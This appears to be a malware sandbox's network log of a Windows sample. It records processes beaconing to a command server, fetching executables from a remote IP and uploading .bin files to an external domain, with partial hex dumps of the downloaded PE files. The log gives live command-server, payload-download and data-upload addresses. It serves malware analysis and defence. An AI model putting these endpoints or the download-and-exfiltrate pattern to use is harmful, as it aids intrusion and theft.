Dec 17, 2024 22:06:46.765758038 CET	1236	IN	Data Raw: 5b c2 04 00 8b 01 8b 51 04 8b 4c 24 08 2b d1 8d 54 12 02 8d 0c 48 52 51 8b 4c 24 0c 8d 04 48 50 ff 15 3c a2 41 00 83 c4 0c c2 08 00 53 56 57 eb 3b 8b 02 8b 39 8a 1c 07 8a c3 e8 db f5 ff ff 84 c0 75 27 80 fb 3b 75 2d 3b fe 7d 12 8b 01 8b 32 80 3c Data Ascii: [QL$+THRQL$HP<ASVW;9u';u-;}2<0t@;B\|2_^[Ar91\|S\$VWu33\|$Gt$P$AtF;w\|3_^[t3GVt$W39~~(Ft$P$AujWPOG;~
Dec 17, 2024 22:06:46.765769958 CET	448	IN	Data Raw: 37 00 89 75 f4 e8 ec fd ff ff 57 e8 ef 64 01 00 59 5f 8b 45 08 5e 5b c9 c2 0c 00 53 56 8b 74 24 0c 57 8b f9 8b 47 04 39 06 7e 02 89 06 8b 5c 24 14 53 e8 d0 e6 ff ff 8b 06 50 03 c3 50 8b cf e8 ec fa ff ff 5f 5e 5b c2 08 00 8b 44 24 08 ff 30 8b 44 Data Ascii: 7uWdY_E^[SVt$WG9~\$SPP_^[D$0D$0YY@W\|$D$xt.SVpFPVPVSjt$,8Af$A^G[_USVuE39Xt2WxS?ESAPQNPWuSuA
Dec 17, 2024 22:06:46.765783072 CET	1236	IN	Data Raw: 89 5d f0 eb 03 8b 7d 08 8b 07 8d 4d e4 51 b9 00 10 00 00 2b ce 51 8d 8c 35 e0 ef ff ff 51 57 ff 50 0c 85 c0 0f 85 ca 00 00 00 8b 45 e4 3b c3 0f 84 bf 00 00 00 03 f0 8d 85 e0 ef ff ff 33 ff 89 45 f8 38 5d ff 8b c6 74 3d 2b 45 e8 3b f8 77 60 ff 75 Data Ascii: ]}MQ+Q5QWPE;3E8]t=+E;w`uuubE:EtuMvGE+E;w#uuubuEEE+}V=]PP<A9]w}"M39Y
Dec 17, 2024 22:06:46.884958029 CET	1236	IN	Data Raw: 01 50 50 8b cf e8 97 f6 ff ff 50 ff 74 24 18 ff 15 c4 a2 41 00 8b 07 66 83 24 70 00 89 77 04 8b c7 5f 5e c3 55 8b ec 83 ec 74 53 56 8b 75 08 57 6a 40 8d 45 8c 50 56 ff 15 9c a2 41 00 85 c0 74 49 68 f8 a5 41 00 8d 45 8c 50 ff 15 48 a1 41 00 85 c0 Data Ascii: PPPt$Af$pw_^UtSVuWj@EPVAtIhAEPHAu6jV\|Au)EVPvjhAutu]Y3_^[VA3;EthAhAEPVYYVAhAE+ESSWuPE+EPuuhPhAh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49884	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:06:57.372253895 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 37 34 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016745001&unit=246122658369
Dec 17, 2024 22:06:58.768004894 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:06:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49890	31.41.244.11	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:06:58.891444921 CET	62	OUT	GET /files/unique3/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 17, 2024 22:07:00.236917019 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:07:00 GMT Content-Type: application/octet-stream Content-Length: 1971200 Last-Modified: Tue, 17 Dec 2024 19:32:01 GMT Connection: keep-alive ETag: "6761d1b1-1e1400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 20 4b 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$z)))()()()()()()()))))9()9))9()Rich)PEL_{_d%\|^ K@PK@Vjl <@.rsrclL@.idata T@ )V@qcfhmskpp1X@ilrpjkesK@.taggant0 K"@
Dec 17, 2024 22:07:00.236962080 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 22:07:00.237138033 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 22:07:00.237193108 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 22:07:00.237210035 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 22:07:00.237286091 CET	1236	IN	Data Raw: 53 4e 1d 10 74 c3 1c 63 f8 fb 42 0d 0c 95 2f 3b ef e9 1c 12 83 74 93 03 62 22 ec 0e 66 a9 a1 63 c2 3f bf b3 29 be 92 0d bc a3 af 6f c9 2e 4c aa 91 ab a7 fe 9e f4 38 63 0f 9e c0 a9 d3 85 4c 85 86 47 99 11 3f 32 4e 1e 34 76 cf b0 1e df 5e 35 39 e6 Data Ascii: SNtcB/;tb"fc?)o.L8cLG?2N4v^59/x7LcP'Si~+OBDFWYW}ZnST#P"p?y\|tJQR<J[/s*+gDA&.6Vt,64$
Dec 17, 2024 22:07:00.237343073 CET	1236	IN	Data Raw: ef 02 92 93 5a 11 07 68 a9 15 ac 91 a4 f8 23 af bf 0a bd b0 a7 5b 5b 0e 94 88 45 56 2e 68 f7 3f 0c 95 4d cb 9c b1 1c 13 1c 2b f8 03 f0 dc f4 b8 c9 ed 04 92 9b d7 28 8f 45 e5 42 08 48 20 2a f1 c7 11 57 d6 52 05 85 57 36 45 fb 38 0c 95 7c 91 51 80 Data Ascii: Zh#[[EV.h?M+(EBH *WRW6E8\|QNxJ.+D}Q{Q4^44(EuF+tXH#W$WW}?owWVNSsA=5<}+wqOWWs3(fCkRVy,(~8HTWAW
Dec 17, 2024 22:07:00.237359047 CET	1120	IN	Data Raw: d0 05 b3 07 bc 88 62 e6 89 c7 f9 e1 11 7d a2 1d a9 50 36 91 40 57 67 ca bf ce f4 b0 1d 28 59 71 b2 a4 0f a6 50 c5 d5 15 0c 95 dc 60 95 c2 1c 08 4f 7d 51 02 f0 2d ad da 81 ed 94 29 13 58 db 5d 6a 44 cd a7 72 16 78 a9 5d 94 f4 d1 00 35 1f 3e 0f b2 Data Ascii: b}P6@Wg(YqP`O}Q-)X]jDrx]5>TKI1v+zj?O"+HxZ\u.qbm&yZ6~+AhO3aR<S]N.-.--_]VY6=sYOe-yQK%OOU<7}
Dec 17, 2024 22:07:00.237374067 CET	1236	IN	Data Raw: 87 1b 77 7d c9 4a 26 cd e3 95 4a 82 45 ea 1c 6f 15 05 a9 03 f0 81 f2 fc 02 ed c5 44 b9 fe 28 8f 93 82 30 9d 4f d1 4e 3e 00 11 57 02 1b c1 7e 56 7d 22 ac 13 0c 95 b9 4d 36 bc 1c 6d 29 3e c3 03 f0 e9 2e d2 05 ed a8 a1 d8 04 2b 8f 33 83 89 79 4f 65 Data Ascii: w}J&JEoD(0ON>W~V}"M6m)>.+3yOe{0DWjQWas-@^9,P~l+0OkW,\|hW0Xs3cc"Pjqv\KiuSHmc04;?4hS\|#FPWz`
Dec 17, 2024 22:07:00.237389088 CET	224	IN	Data Raw: a8 ec 28 8f 2f da e9 74 48 a9 a6 c3 de 11 57 0d 3c 4c 08 54 e6 fa 72 e6 09 2b c8 6e c6 b1 50 f1 07 0a 8e f7 01 e3 bf d5 2c 25 ae 43 c4 c7 df ea 8b 3c f8 7f 77 9e e4 cc 16 2e 83 06 66 f2 a4 79 9e 26 e7 ff 0e 9b d1 35 84 85 45 85 35 c6 00 16 2c 46 Data Ascii: (/tHW<LTr+nP,%C<w.fy&5E5,FY/rRX#.rc!0oQTP?wSzi&$VvvMk[$SO%q9MD@k]\P
Dec 17, 2024 22:07:00.356576920 CET	1236	IN	Data Raw: e1 5c 70 f6 a6 f7 81 d5 92 81 09 9b 1e 99 de db 80 e5 fe 7f 77 9e 3e 3a ab 2e c4 60 e0 11 a7 d1 96 d8 2d a1 09 1a 76 8e 04 7d 68 cc a8 f3 c7 91 fb 87 35 9b bf 72 98 b0 02 a5 5e 20 d7 db 87 a7 74 2a 78 34 86 af 43 31 59 aa 4f 5c b7 88 8b f5 8a f9 Data Ascii: \pw>:.`-v}h5r^ t*x4C1YO\)G9PLkm0/:P@>z`CMN<Wk"^bt/k@W)PPXvQ>DO-TWbs#\[_J4(kNT3k&')

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49906	104.154.220.71	80	8072	C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:07:04.685653925 CET	645	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 463 Content-Type: multipart/form-data; boundary=------------------------keJ9zR0D46Lw3xccKbo6Dn Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6b 65 4a 39 7a 52 30 44 34 36 4c 77 33 78 63 63 4b 62 6f 36 44 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 59 69 6e 6f 64 61 76 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a da 1b 51 fa 8f c4 60 75 d7 34 6b ee 39 01 36 bf 2c 81 cb b1 d5 a7 98 2a e2 a0 e0 2a 2c e3 28 07 85 a6 ce dd 16 74 7c f1 3a fc e4 f9 10 7e 70 a3 04 91 36 6c d3 d7 01 fa 40 c6 f0 6e 8a 0e 8e 13 1b 0a 26 88 9e f1 0c 9a ed 0f 4b fb b9 d0 17 02 2b 29 4e 36 1d 71 f6 53 18 0a e2 57 c2 69 81 3e 69 f1 e6 c0 1d 54 ac 39 3e 9f 0a 4b 46 fb 02 84 ac a8 a2 15 df 76 2f be e2 02 61 3a c3 25 f3 17 5d 48 de 5b 11 8a 8b 49 f5 9d 9a 5d a3 be 37 cd fd 05 33 8f 7b 28 aa 4a c7 e4 42 6b ee 92 6b a9 f7 98 6c bd 33 66 19 16 97 72 e6 e4 fa de 45 4e 69 [TRUNCATED] Data Ascii: --------------------------keJ9zR0D46Lw3xccKbo6DnContent-Disposition: form-data; name="file"; filename="Yinodav.bin"Content-Type: application/octet-streamQ`u4k96,**,(t\|:~p6l@n&K+)N6qSWi>iT9>KFv/a:%]H[I]73{(JBkkl3frENif^G'+wf:l\/U^Eoza\|Az.={6Q7R--------------------------keJ9zR0D46Lw3xccKbo6Dn--
Dec 17, 2024 22:07:06.146190882 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Tue, 17 Dec 2024 21:07:05 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 29 x-ratelimit-reset: 1734471426 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49907	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:07:06.197357893 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 37 34 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016746001&unit=246122658369
Dec 17, 2024 22:07:07.569287062 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:07:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49913	104.154.220.71	80	8072	C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:07:07.729176998 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 77078 Content-Type: multipart/form-data; boundary=------------------------4T9gC1vT4RETLudXKIp9fM Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 34 54 39 67 43 31 76 54 34 52 45 54 4c 75 64 58 4b 49 70 39 66 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4e 69 72 6f 6c 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 8f 46 2a 06 bf 14 15 74 36 13 d5 1b 95 85 76 a9 3a be c2 e9 eb ec 8b f5 88 d3 d3 04 6a 52 ff a9 f7 95 85 2f 0a 00 45 06 ed a6 27 15 6e d5 5c 88 23 33 e8 22 fa e7 48 2e e4 45 74 d1 a5 76 34 2f bc a4 ba 9b c7 f0 bc 34 37 24 0a 94 11 20 39 f9 52 aa cd e2 d9 7b 68 55 ee 59 46 9b 00 22 0e 10 1a 79 ca f9 fa 29 d1 0a 27 db c1 03 5e 37 40 02 cf f7 7b b1 0f 5d fa 77 47 cd c3 18 05 53 28 49 d8 6c 35 f0 bf 40 84 37 e2 7a 08 6d 2f b9 85 a2 01 2d 94 ce 50 41 bc 1e 98 d4 81 ce 1e a4 c7 23 4f fb 4c e3 ce 1b 58 0f 52 20 29 b5 ca 7f 5b ad e4 8c [TRUNCATED] Data Ascii: --------------------------4T9gC1vT4RETLudXKIp9fMContent-Disposition: form-data; name="file"; filename="Nirolo.bin"Content-Type: application/octet-streamFt6v:jR/E'n\#3"H.Etv4/47$ 9R{hUYF"y)'^7@{]wGS(Il5@7zm/-PA#OLXR )[m7l=.4}Z@<j$_<xvzMOuzoPm:}aORZDn/$\wO_`-VtJE"epj@tOdvmgsN_Z'YJYL(;\nrS!vUxR=HIH^L/F\|0I^fvg\#$OXgo@GOPjb,lW@aoeUnsiA-[;H]3`>]xFt(_"PTWGof0}Y.77Jjy}PTZ}oQU=hkfe -[-%ymKJT;iM0Q*)LjY8n;3#&=r%Z$8P^^7yOi>Xh#_R&pCivJcXzF/+v<:'aP{IZ_\|]{ZAgbV3I3x) [TRUNCATED]
Dec 17, 2024 22:07:07.848963022 CET	7416	OUT	Data Raw: c2 c1 a5 b0 c6 a8 b5 3a c8 51 84 d8 b7 ee e8 16 65 23 a7 89 08 61 33 ed fb cb e0 4c f7 35 35 46 40 1e bd 6e c1 b1 c6 ef 73 5e bf f9 26 0c 2e 24 bd 16 f9 d5 d3 b7 8e 08 81 6a 3b 3c 15 c8 27 9a 53 24 80 f9 54 ca 75 89 c3 92 4d 3a ea ee 02 a2 92 31 Data Ascii: :Qe#a3L55F@ns^&.$j;<'S$TuM:1.VNo,0B92Oz93vj(]IhP1K\K%.+d\|=Aa.U5g%#YS\|lv,mq',yB6ht+E]mz
Dec 17, 2024 22:07:07.849098921 CET	7416	OUT	Data Raw: 38 f7 bf e6 47 0e 84 d7 0a 88 c6 ed 1d 7d b2 36 e2 af e7 cc c1 f6 46 32 fe 0c a4 57 38 15 bc 74 8e 32 83 50 ac c2 48 a9 d5 61 43 f5 30 3d 0e 05 99 32 57 e0 2e 0e 71 f8 a9 09 b6 61 ad 56 36 34 b5 64 c2 fc 25 dd 1e 4b 98 a7 db 61 34 56 52 f4 fb 6c Data Ascii: 8G}6F2W8t2PHaC0=2W.qaV64d%Ka4VRl<H8UL0\hFD!Dvs^ZjqD*t0?`R@6?2Ewn]+g}s\,xFKUUTx}b}WYX68,
Dec 17, 2024 22:07:07.849153042 CET	4944	OUT	Data Raw: 83 79 09 f7 6f e9 41 d1 6f 1a cf 5f fe 7e 63 3a 40 cc 1b 6a dd a0 0b 9c 9f b3 e2 3a 05 ca ed 6f a1 e2 db 5f 38 9b 4f 6e 6e 14 a5 12 15 05 e5 0c 54 12 56 63 c6 9a 1c 3d 34 5c 9e 16 7b ef ab f1 fd 83 7e 0c 0c b4 47 1d 4b b6 e9 51 17 f0 4f ee 2d 83 Data Ascii: yoAo_~c:@j:o_8OnnTVc=4\{~GKQO-9M.@*Y@ o'^+)diThVn^PrH\|qD:CHmvy:qLEb[0?&93{W"e)W+Zf;1'vU>Y
Dec 17, 2024 22:07:07.849292040 CET	4944	OUT	Data Raw: e2 cc 82 10 26 0a 10 9f 98 8e fc 36 b6 fc 3b ca 2e fb 9c ad 1b fd 61 7a 67 e2 07 fa d2 bd dc 15 fe 29 35 a6 2d dc c3 da c3 12 5d 6b f1 28 14 69 79 e2 9d ef ac 6c cc dd ef 4d 41 cc d7 f2 56 06 a9 68 b7 f1 97 cc 5b f2 3a 83 9d be 26 f7 84 90 48 b4 Data Ascii: &6;.azg)5-]k(iylMAVh[:&HwYr4Bqmy"z -B/4!TsFw'"Xcl6g6Ng~6INP5P}Yg08.eWM^ab2o&V-*AqD/Lmxt9jY_
Dec 17, 2024 22:07:07.968861103 CET	4944	OUT	Data Raw: 1b dc f5 4b 39 45 4b 0d 89 44 d0 ec 1a da 0f 43 97 3d 6b f8 77 53 88 20 ea a4 fc b5 05 64 dd cd aa c4 3b d3 67 37 54 e0 06 2e 0c 46 da bf 14 99 bf e7 91 33 2a bd 99 66 6c 9f 6f 5e 5e f7 e7 11 88 54 3a 59 cc ea b4 00 6e 1c 6e 5a a1 b8 87 34 b0 a8 Data Ascii: K9EKDC=kwS d;g7T.F3*flo^^T:YnnZ4$\2@SNemY9s9,LotS7.\9FJ:-9mmPB))hLw&a[.irpvoj=oWianpVz.\OU}St
Dec 17, 2024 22:07:07.969000101 CET	4944	OUT	Data Raw: ca a3 54 2d 73 aa 16 c8 c8 dd 4a be 85 6c 9b d0 07 0b 0c ec a6 b3 d3 42 f1 bc e6 0d 82 51 41 66 8e e3 60 1d ee 8d 44 36 8d c1 d8 3b f5 be 7b 06 7b b6 04 b4 81 c9 89 d6 5b 87 d4 71 a7 8b e8 88 11 12 8e c0 34 3d df 36 11 4e f1 70 ce 23 fc 3d 2f 0e Data Ascii: T-sJlBQAf`D6;{{[q4=6Np#=/Rt^dIn?Z)u1$Ubrl{D_:hYCxJR<]?o\KV"NK:cO l yBNSBCs`OQ~@Ny%
Dec 17, 2024 22:07:07.969049931 CET	2472	OUT	Data Raw: 27 12 dd 94 f7 35 84 05 91 4e a2 30 2d 42 93 bc c0 89 20 6c 05 df 96 c6 18 59 2f e9 3f d5 8a 9e 09 54 75 21 68 02 3d 5e 36 b5 50 68 ef 2b 57 f0 3d c2 b4 4e 47 68 9f 9c 5e 02 64 63 7b 96 7f 6b b3 cf db 38 d7 ee 21 fc 64 87 29 85 84 20 31 80 fe 23 Data Ascii: '5N0-B lY/?Tu!h=^6Ph+W=NGh^dc{k8!d) 1#wCUVL_\|r3%Fm}fS6#dZ/(9O1bih\|G(pBr_KdN_<oE!3k` ta^>Ly?
Dec 17, 2024 22:07:07.970901012 CET	2472	OUT	Data Raw: 89 3b 48 60 1a b9 68 92 59 61 49 b7 4c 0a 96 4f a3 6c f0 eb f8 60 80 c9 ae ee ac a4 9e 6f 83 9c eb f5 8f 00 f2 03 e8 12 4d da 5a 6f c9 f4 02 7c 73 a6 e8 30 59 45 bd f7 45 16 0e 99 62 58 97 c9 75 df f0 9f 3a 30 cb d7 91 c9 95 35 a4 48 b7 b4 f2 0d Data Ascii: ;H`hYaILOl`oMZo\|s0YEEbXu:05HAbR=)*QO=8T~(~6pw<myay#[TSn]Rnn_4E<3u5K#\|V3hG
Dec 17, 2024 22:07:08.010977030 CET	25350	OUT	Data Raw: 1d 54 e1 21 55 5a 30 40 14 d4 db 41 57 0c 83 04 7b 8d d9 72 fc 7a cd 3c a3 e0 98 eb dd a9 dd da b1 24 1f 47 b8 2f af 26 8a 18 17 26 10 73 94 c8 e1 88 4d 64 a6 28 6c 1b 20 54 6e 99 6a 1e 84 70 60 20 6e d7 20 86 e4 e2 f3 a5 d0 ce 11 fa a3 99 6b 5b Data Ascii: T!UZ0@AW{rz<$G/&&sMd(l Tnjp` n k[u2~&'TXdC511F9A8MJ0b/ ;6r0qsNbQ7`GK*sQ$UjgeN@%]FD\j_=;Lge=f6BWq
Dec 17, 2024 22:07:09.495418072 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Tue, 17 Dec 2024 21:07:09 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 28 x-ratelimit-reset: 1734471426 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49914	31.41.244.11	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:07:07.741235018 CET	59	OUT	GET /files/dodo/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 17, 2024 22:07:09.224745035 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:07:08 GMT Content-Type: application/octet-stream Content-Length: 765568 Last-Modified: Tue, 17 Dec 2024 09:46:16 GMT Connection: keep-alive ETag: "67614868-bae80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bss`@
Dec 17, 2024 22:07:09.224755049 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 22:07:09.224765062 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 22:07:09.224776030 CET	1236	IN	Data Raw: 8b 6c 24 0c 8d 74 24 14 c6 07 00 68 35 02 00 00 56 e8 6d fe ff ff 83 c4 08 89 c7 3b 44 24 48 75 1a 8b 44 1d 24 8b 4c 24 04 0f b7 04 01 8b 4c 1d 1c 01 d9 8b 04 81 89 04 24 eb 05 83 44 24 08 04 8b 44 24 28 83 f8 10 72 2d 8b 4c 24 14 8d 70 01 81 fe Data Ascii: l$t$h5Vm;D$HuD$L$L$D$D$(r-L$prQ) sT$VQl$;\|$HtD$$4$L$,10^_[]*-USWV$$$ WB1$1
Dec 17, 2024 22:07:09.224796057 CET	1236	IN	Data Raw: ff ff 83 ec 14 0f 28 05 10 c0 41 00 0f 11 44 24 04 89 1c 24 c7 44 24 18 00 00 00 00 c7 44 24 14 80 00 00 00 ff d0 83 f8 ff 0f 84 ab 01 00 00 89 c7 6a 00 50 ff 15 98 39 42 00 83 f8 ff 0f 84 70 01 00 00 89 c3 50 e8 1c 13 00 00 83 c4 04 89 c5 8d 44 Data Ascii: (AD$$D$D$jP9BpPD$jPSUW,:BBW49BE<L=l$$D$\$L$WD$ WD$Uv+w\|$ D$$WUS`K
